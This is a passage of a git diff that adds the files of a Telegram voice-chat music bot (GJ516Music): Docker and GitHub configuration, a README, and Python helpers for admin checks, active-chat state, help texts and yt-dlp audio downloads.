diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000..01960af
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,12 @@
+.env
+*.log
+.git/
+.idea/
+str.py
+Procfile
+README.md
+downloads/
+raw_files/
+.gitignore
+runtime.txt
+__pycache__/
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
new file mode 100644
index 0000000..35923a4
--- /dev/null
+++ b/.github/CODEOWNERS
@@ -0,0 +1 @@
+@export_gabbar
diff --git a/.github/README.md b/.github/README.md
new file mode 100644
index 0000000..54f61e5
--- /dev/null
+++ b/.github/README.md
@@ -0,0 +1,102 @@
+
+
+ ──「 𝗚𝗝𝟱𝟭𝟲 𝗩𝗰 𝗣𝗹𝗮𝘆𝗲𝗿 」──
+
+
+
+
━━━━━━━━━━━━━━━━━━━━
+
+
+
+
+ ━━━━━━━━━━━━━━━━━━━━
+
+ 𝗥𝗲𝗾𝘂𝗶𝗿𝗲𝗺𝗲𝗻𝘁𝘀 📝
+
+ - FFmpeg
+ - NodeJS [nodesource.com](https://nodesource.com/)
+ - Python 3.7 or higher
+ - [PyTgCalls](https://github.com/pytgcalls/pytgcalls)
+
+
+ 𝗙𝗲𝗮𝘁𝘂𝗿𝗲𝘀 🔮
+
+ - Yt-dL Fix
+ - Updated Plug-in
+ - Super Fast Bot
+ - No Lag Hang
+ - Fast Download Song From Server
+ - Program Updated
+ - Smooth Player
+
+
+ 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 🛠
+
+ - `/play ` - play song you requested
+ - `/song ` - download songs you want quickly
+ - `/ping` - Bot Online or Offine
+
+ #### Admins Only 👷♂️
+
+- `/pause` - pause song play
+ - `/resume` - resume song play
+ - `/skip` - play next song
+ - `/end` - stop music play
+
+
+
+𝗦𝗲𝘀𝘀𝗶𝗼𝗻 🥀
+
+- 🧪 Get `SESSION_NAME` variable:
+ - [``Pyrogram Session``](https://telegram.me/)
+
+
+
+
+𝗗𝗲𝗽𝗹𝗼𝘆𝗺𝗲𝗻𝘁 𝗺𝗲𝘁𝗵𝗼𝗱𝘀 🚀
+
+
+
+ ## ᴅᴇᴘʟᴏʏ ᴛᴏ ʜᴇʀᴏᴋᴜ 🚀
+
+ 
+
+ The easiest way to host this bot, Deploy on Heroku, Change the app country to Europe (it will help to make the bot more stable).
+
+ ## ᴅᴇᴩʟᴏʏ ᴏɴ ᴏᴋᴛᴇᴛᴏ
+
+ 
+
+ The second easiest way to host this bot, Deploy on Okteto Cloud
+ ## ᴅᴇᴘʟᴏʏ ᴏɴ ᴠᴘꜱ ꜱᴇʀᴠᴇʀ's 📡
+
+
+
+ Checkout [Docs](https://github.com/MrProgrammer72/GJ516Music/wiki) for Detailed Explanation on VPS Deploy
+
+
+
+
+━━━━━━━━━━━━━━━━━━━━
+
+
+ ─「 sᴜᴩᴩᴏʀᴛ 」─
+
+
+
+
+
+
+
+
+━━━━━━━━━━━━━━━━━━━━
+
+ ─「 ᴄʀᴇᴅɪᴛs 」─
+
+
+ - [ᴅᴇᴠᴇʟᴏᴘᴇʀ](https://github.com/MrProgrammer72) ➻ [sᴏᴍᴇᴛʜɪɴɢ](https://github.com/MrProgrammer72/GJ516VCBOT)
+ -
+
+
+
+━━━━━━━━━━━━━━━━━━━━
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100644
index 0000000..6d9b86f
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,11 @@
+version: 2
+ updates:
+ - package-ecosystem: pip
+ directory: "/"
+ schedule:
+ interval: daily
+ time: "00:00"
+ timezone: "Asia/Kolkata"
+ labels:
+ - "dependencies"
+ open-pull-requests-limit: 50
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..10bc1e2
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,9 @@
+.env
+*.log
+venv/
+.idea/
+*.session
+raw_files/
+downloads/
+__pycache__/
+*.session-journal
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..0f90d29
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,13 @@
+FROM nikolaik/python-nodejs:python3.9-nodejs18
+
+RUN apt-get update -y && apt-get upgrade -y \
+ && apt-get install -y --no-install-recommends ffmpeg \
+ && apt-get clean \
+ && rm -rf /var/lib/apt/lists/*
+
+COPY . /app/
+WORKDIR /app/
+
+RUN pip3 install --no-cache-dir --upgrade --requirement requirements.txt
+
+CMD bash GJ516
diff --git a/GJ516 b/GJ516
new file mode 100644
index 0000000..68f26ef
--- /dev/null
+++ b/GJ516
@@ -0,0 +1 @@
+python3 -m GJ516Music
diff --git a/GJ516Music/Helpers/__init__.py b/GJ516Music/Helpers/__init__.py
new file mode 100644
index 0000000..df41afd
--- /dev/null
+++ b/GJ516Music/Helpers/__init__.py
@@ -0,0 +1,32 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from .active import *
+from .admins import *
+from .clear import _clear_
+from .dossier import *
+from .errors import *
+from .formatters import *
+from .gets import *
+from .inline import *
+from .queue import *
+from .thumbnails import *
diff --git a/GJ516Music/Helpers/active.py b/GJ516Music/Helpers/active.py
new file mode 100644
index 0000000..c552aee
--- /dev/null
+++ b/GJ516Music/Helpers/active.py
@@ -0,0 +1,60 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+active = []
+stream = {}
+
+
+async def is_active_chat(chat_id: int) -> bool:
+ if chat_id not in active:
+ return False
+ else:
+ return True
+
+
+async def add_active_chat(chat_id: int):
+ if chat_id not in active:
+ active.append(chat_id)
+
+
+async def remove_active_chat(chat_id: int):
+ if chat_id in active:
+ active.remove(chat_id)
+
+
+async def get_active_chats() -> list:
+ return active
+
+
+async def is_streaming(chat_id: int) -> bool:
+ run = stream.get(chat_id)
+ if not run:
+ return False
+ return run
+
+
+async def stream_on(chat_id: int):
+ stream[chat_id] = True
+
+
+async def stream_off(chat_id: int):
+ stream[chat_id] = False
diff --git a/GJ516Music/Helpers/admins.py b/GJ516Music/Helpers/admins.py
new file mode 100644
index 0000000..7c76d56
--- /dev/null
+++ b/GJ516Music/Helpers/admins.py
@@ -0,0 +1,91 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from typing import Callable
+
+from pyrogram.enums import ChatMemberStatus
+from pyrogram.types import CallbackQuery, Message
+
+from GJ516Music import SUDOERS, app
+
+from .active import is_active_chat
+
+
+def admin_check(func: Callable) -> Callable:
+ async def non_admin(_, message: Message):
+ if not await is_active_chat(message.chat.id):
+ return await message.reply_text("𝘽𝙤𝙩 𝙞𝙨 𝙉𝙤𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩")
+
+ if message.from_user.id in SUDOERS:
+ return await func(_, message)
+
+ check = await app.get_chat_member(message.chat.id, message.from_user.id)
+ if check.status not in [ChatMemberStatus.OWNER, ChatMemberStatus.ADMINISTRATOR]:
+ return await message.reply_text(
+ "𝙔𝙤𝙪'𝙖𝙧𝙚 𝙉𝙤𝙩 𝘼𝙣 𝙅𝙖𝙮 𝘼𝙙𝙢𝙞𝙣, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨."
+ )
+
+ admin = (
+ await app.get_chat_member(message.chat.id, message.from_user.id)
+ ).privileges
+ if admin.can_manage_video_chats:
+ return await func(_, message)
+ else:
+ return await message.reply_text(
+ "𝙔𝙤𝙪 𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙈𝙖𝙣𝙖𝙜𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩𝙨, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨"
+ )
+
+ return non_admin
+
+
+def admin_check_cb(func: Callable) -> Callable:
+ async def cb_non_admin(_, query: CallbackQuery):
+ if not await is_active_chat(query.message.chat.id):
+ return await query.answer(
+ "𝘽𝙤𝙩 𝙞𝙨 𝙉𝙤𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝙘𝙝𝙖𝙩", show_alert=True
+ )
+
+ if query.from_user.id in SUDOERS:
+ return await func(_, query)
+
+ try:
+ check = await app.get_chat_member(query.message.chat.id, query.from_user.id)
+ except:
+ return
+ if check.status not in [ChatMemberStatus.OWNER, ChatMemberStatus.ADMINISTRATOR]:
+ return await query.answer(
+ "𝙔𝙤𝙪'𝙖𝙧𝙚 𝙉𝙤𝙩 𝘼𝙣 𝙅𝙖𝙮 𝘼𝙙𝙢𝙞𝙣, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨.",
+ show_alert=True,
+ )
+
+ admin = (
+ await app.get_chat_member(query.message.chat.id, query.from_user.id)
+ ).privileges
+ if admin.can_manage_video_chats:
+ return await func(_, query)
+ else:
+ return await query.answer(
+ "𝙔𝙤𝙪 𝘿𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙈𝙖𝙣𝙖𝙜𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩𝙨, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙩𝙖𝙮 𝙄𝙣 𝙔𝙤𝙪𝙧 𝙇𝙞𝙢𝙞𝙩𝙨",
+ show_alert=True,
+ )
+
+ return cb_non_admin
diff --git a/GJ516Music/Helpers/clear.py b/GJ516Music/Helpers/clear.py
new file mode 100644
index 0000000..e565c9c
--- /dev/null
+++ b/GJ516Music/Helpers/clear.py
@@ -0,0 +1,32 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from GJ516Music import GJ516db
+from GJ516Music.Helpers import remove_active_chat
+
+
+async def _clear_(chat_id):
+ try:
+ GJ516db[chat_id] = []
+ await remove_active_chat(chat_id)
+ except:
+ return
diff --git a/GJ516Music/Helpers/dossier.py b/GJ516Music/Helpers/dossier.py
new file mode 100644
index 0000000..47adce9
--- /dev/null
+++ b/GJ516Music/Helpers/dossier.py
@@ -0,0 +1,83 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from GJ516Music import BOT_NAME
+
+PM_START_TEXT = """
+𝙃𝙚𝙮 {0},
+ 𝙏𝙝𝙞𝙨 𝙞𝙨** {1} !
+
+𝘼 𝙁𝙖𝙨𝙩 𝘼𝙣𝙙 𝙋𝙤𝙬𝙚𝙧𝙛𝙪𝙡 𝙈𝙪𝙨𝙞𝙘 𝙋𝙡𝙖𝙮𝙚𝙧 𝘽𝙤𝙩.
+𝙄 𝘾𝘼𝙉 𝙋𝙇𝘼𝙔 𝙈𝙐𝙎𝙄𝘾 𝙄𝙉 𝙔𝙊𝙐𝙍 𝙎𝙐𝙋𝙀𝙍𝙂𝙍𝙊𝙐𝙋
+ """
+
+START_TEXT = """
+**𝙃𝙚𝙮** {0}, 🥀
+ {1} 𝘾𝙖𝙣 𝙉𝙤𝙬 𝙋𝙡𝙖𝙮 𝙎𝙤𝙣𝙜 𝙄𝙣 {2}.
+
+──────────────────
+➻ 𝙁𝙤𝙧 𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝙃𝙚𝙡𝙥 𝘼𝙗𝙤𝙪𝙩 𝙈𝙚 𝙊𝙧 𝙄𝙛 𝙔𝙤𝙪 𝙒𝙖𝙣𝙣𝙖 𝘼𝙨𝙠 𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙔𝙤𝙪 𝘾𝙖𝙣 𝙅𝙤𝙞𝙣 𝙈𝙮 [𝙂𝙧𝙤𝙪𝙥](https://t.me/GJ516_DISCUSS_GROUP)
+"""
+
+HELP_TEXT = f"""
+ **𝗔𝘃𝗮𝗶𝗹𝗮𝗯𝗹𝗲 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 𝗙𝗼𝗿 𝗨𝘀𝗲𝗿𝘀 𝗜𝗻 {BOT_NAME} :**
+
+❏ /play : 𝙎𝙩𝙖𝙧𝙩𝙨 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙏𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙏𝙧𝙖𝙘𝙠 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩.
+❏ /pause : 𝙋𝙖𝙪𝙨𝙚 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢.
+❏ /resume : 𝙍𝙚𝙨𝙪𝙢𝙚 𝙩𝙝𝙚 𝙋𝙖𝙪𝙨𝙚𝙙 𝙨𝙩𝙧𝙚𝙖𝙢.
+❏ /skip : 𝙎𝙠𝙞𝙥 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢 𝘼𝙣𝙙 𝙎𝙩𝙖𝙧𝙩 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 𝙏𝙝𝙚 𝙉𝙚𝙭𝙩 𝙏𝙧𝙖𝙘𝙠 𝙄𝙣 𝙌𝙪𝙚𝙪𝙚.
+❏ /end : 𝘾𝙡𝙚𝙖𝙧𝙨 𝙩𝙝𝙚 𝙌𝙪𝙚𝙪𝙚 𝘼𝙣𝙙 𝙏𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢.
+
+❏ /ping : 𝙎𝙝𝙤𝙬 𝙩𝙝𝙚 𝙋𝙞𝙣𝙜 𝘼𝙣𝙙 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 𝙤𝙛 𝙏𝙝𝙚 𝘽𝙤𝙩.
+❏ /sudolist : 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙊𝙛 𝙩𝙝𝙚 𝘽𝙤𝙩.
+
+❏ /song : 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙𝙨 𝙩𝙝𝙚 𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝙎𝙤𝙣𝙜 𝘼𝙣𝙙 𝙎𝙚𝙣𝙙 𝙞𝙩 𝙏𝙤 𝙮𝙤𝙪
+
+❏ /search : 𝙎𝙚𝙖𝙧𝙘𝙝 𝙩𝙝𝙚 𝙂𝙞𝙫𝙚𝙣 𝙌𝙪𝙚𝙧𝙮 𝙊𝙣 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙖𝙣𝙙 𝙎𝙝𝙤𝙬 𝙮𝙤𝙪 𝙏𝙝𝙚 𝙍𝙚𝙨𝙪𝙡𝙩𝙨
+"""
+
+HELP_SUDO = f"""
+ **𝗦𝘂𝗱𝗼 𝗖𝗼𝗺𝗺𝗮𝗻𝗱𝘀 𝗜𝗻 {BOT_NAME} :**
+
+❏ /activevc : 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚 𝙘𝙝𝙖𝙩. 𝙎𝙝𝙤𝙬𝙨 𝙩𝙝𝙚 𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮.
+❏ /eval or /sh : 𝙍𝙪𝙣𝙨 𝙩𝙝𝙚 𝙂𝙞𝙫𝙚𝙣 𝘾𝙤𝙙𝙚 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙏𝙚𝙧𝙢𝙞𝙣𝙖𝙡
+❏ /speedtest : 𝙍𝙪𝙣𝙨 𝘼 𝙎𝙥𝙚𝙚𝙙𝙏𝙚𝙨𝙩 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙎𝙚𝙧𝙫𝙚𝙧.
+❏ /sysstats : 𝙎𝙝𝙤𝙬𝙨 𝙏𝙝𝙚 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 𝙊𝙛 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨.
+
+
+❏ /setname : [𝙏𝙚𝙭𝙩 𝙊𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙩𝙚𝙭𝙩] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩 𝙉𝙖𝙢𝙚.
+❏ /setbio : [𝙏𝙚𝙭𝙩 𝙊𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙩𝙚𝙭𝙩] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝘽𝙞𝙤 𝙤𝙛 𝙏𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩.
+❏ /setpfp [𝙍𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙋𝙝𝙤𝙩𝙤 ] : 𝘾𝙝𝙖𝙣𝙜𝙚 𝙩𝙝𝙚 𝙋𝙛𝙋 𝙤𝙛 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩.
+
+❏ /delpfp : 𝘿𝙚𝙡𝙚𝙩𝙚 𝙩𝙝𝙚 𝘾𝙪𝙧𝙧𝙚𝙣𝙩 𝙋𝙛𝙋 𝙤𝙛 𝙏𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩.
+"""
+
+HELP_DEV = f"""
+**𝗢𝘄𝗻𝗲𝗿 𝗖𝗼𝗺𝗺𝗮𝗻𝘀 𝗶𝗻 {BOT_NAME} :**
+
+❏ /config : 𝙏𝙤 𝙜𝙚𝙩 𝘼𝙡𝙡 𝘾𝙤𝙣𝙛𝙞𝙜 𝙑𝙖𝙧𝙞𝙖𝙗𝙡𝙚𝙨 𝙊𝙧 𝘽𝙤𝙩.
+❏ /broadcast : [𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙤𝙛 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝙖 𝙈𝙖𝙨𝙨𝙖𝙜𝙚] : 𝘽𝙧𝙤𝙖𝙙𝙘𝙖𝙨𝙩 𝙩𝙝𝙚 𝙈𝙖𝙨𝙨𝙖𝙜𝙚 𝙏𝙤 𝙎𝙚𝙧𝙫𝙚𝙙 𝘾𝙝𝙖𝙩𝙨 𝙊𝙛 𝙏𝙝𝙚 𝘽𝙤𝙩𝙨.
+❏ /rmdownloads : 𝘾𝙡𝙚𝙖𝙧𝙨 𝙩𝙝𝙚 𝘾𝙖𝙘𝙝𝙚 𝙁𝙞𝙡𝙚𝙨 𝘿𝙤𝙬𝙣𝙡𝙤𝙖𝙙 𝙊𝙣 𝙩𝙝𝙚 𝘽𝙤𝙩'𝙨 𝙎𝙚𝙧𝙫𝙚𝙧.
+❏ /leaveall : 𝙊𝙧𝙙𝙚𝙧𝙨 𝙩𝙝𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝘼𝙘𝙘𝙤𝙪𝙣𝙩 𝙏𝙤 𝙇𝙚𝙖𝙫𝙚 𝘼𝙡𝙡 𝘾𝙝𝙖𝙩𝙨.
+❏ /addsudo : [𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙤𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝘼 𝙐𝙨𝙚𝙧] : 𝘼𝙙𝙙 𝙏𝙝𝙚 𝙐𝙨𝙚𝙧 𝙩𝙤 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩.
+❏ /rmsudo : [𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 𝙤𝙧 𝙧𝙚𝙥𝙡𝙮 𝙩𝙤 𝘼 𝙐𝙨𝙚𝙧] : 𝙍𝙚𝙢𝙤𝙫𝙚 𝙩𝙝𝙚 𝙐𝙨𝙚𝙧 𝙁𝙧𝙤𝙢 𝙎𝙪𝙙𝙤 𝙐𝙨𝙚𝙧𝙨 𝙇𝙞𝙨𝙩.
+"""
diff --git a/GJ516Music/Helpers/downloaders.py b/GJ516Music/Helpers/downloaders.py
new file mode 100644
index 0000000..0289604
--- /dev/null
+++ b/GJ516Music/Helpers/downloaders.py
@@ -0,0 +1,52 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+
+from yt_dlp import YoutubeDL
+
+ydl_opts = {
+ "format": "bestaudio/best",
+ "outtmpl": "downloads/%(id)s.%(ext)s",
+ "geo_bypass": True,
+ "nocheckcertificate": True,
+ "quiet": True,
+ "no_warnings": True,
+ "prefer_ffmpeg": True,
+ "postprocessors": [
+ {
+ "key": "FFmpegExtractAudio",
+ "preferredcodec": "mp3",
+ "preferredquality": "320",
+ }
+ ],
+}
+ydl = YoutubeDL(ydl_opts)
+
+
+def audio_dl(url: str) -> str:
+ sin = ydl.extract_info(url, False)
+ x_file = os.path.join("downloads", f"{sin['id']}.mp3")
+ if os.path.exists(x_file):
+ return x_file
+ ydl.download([url])
+ return x_file
diff --git a/GJ516Music/Helpers/errors.py b/GJ516Music/Helpers/errors.py
new file mode 100644
index 0000000..ef8707c
--- /dev/null
+++ b/GJ516Music/Helpers/errors.py
@@ -0,0 +1,29 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
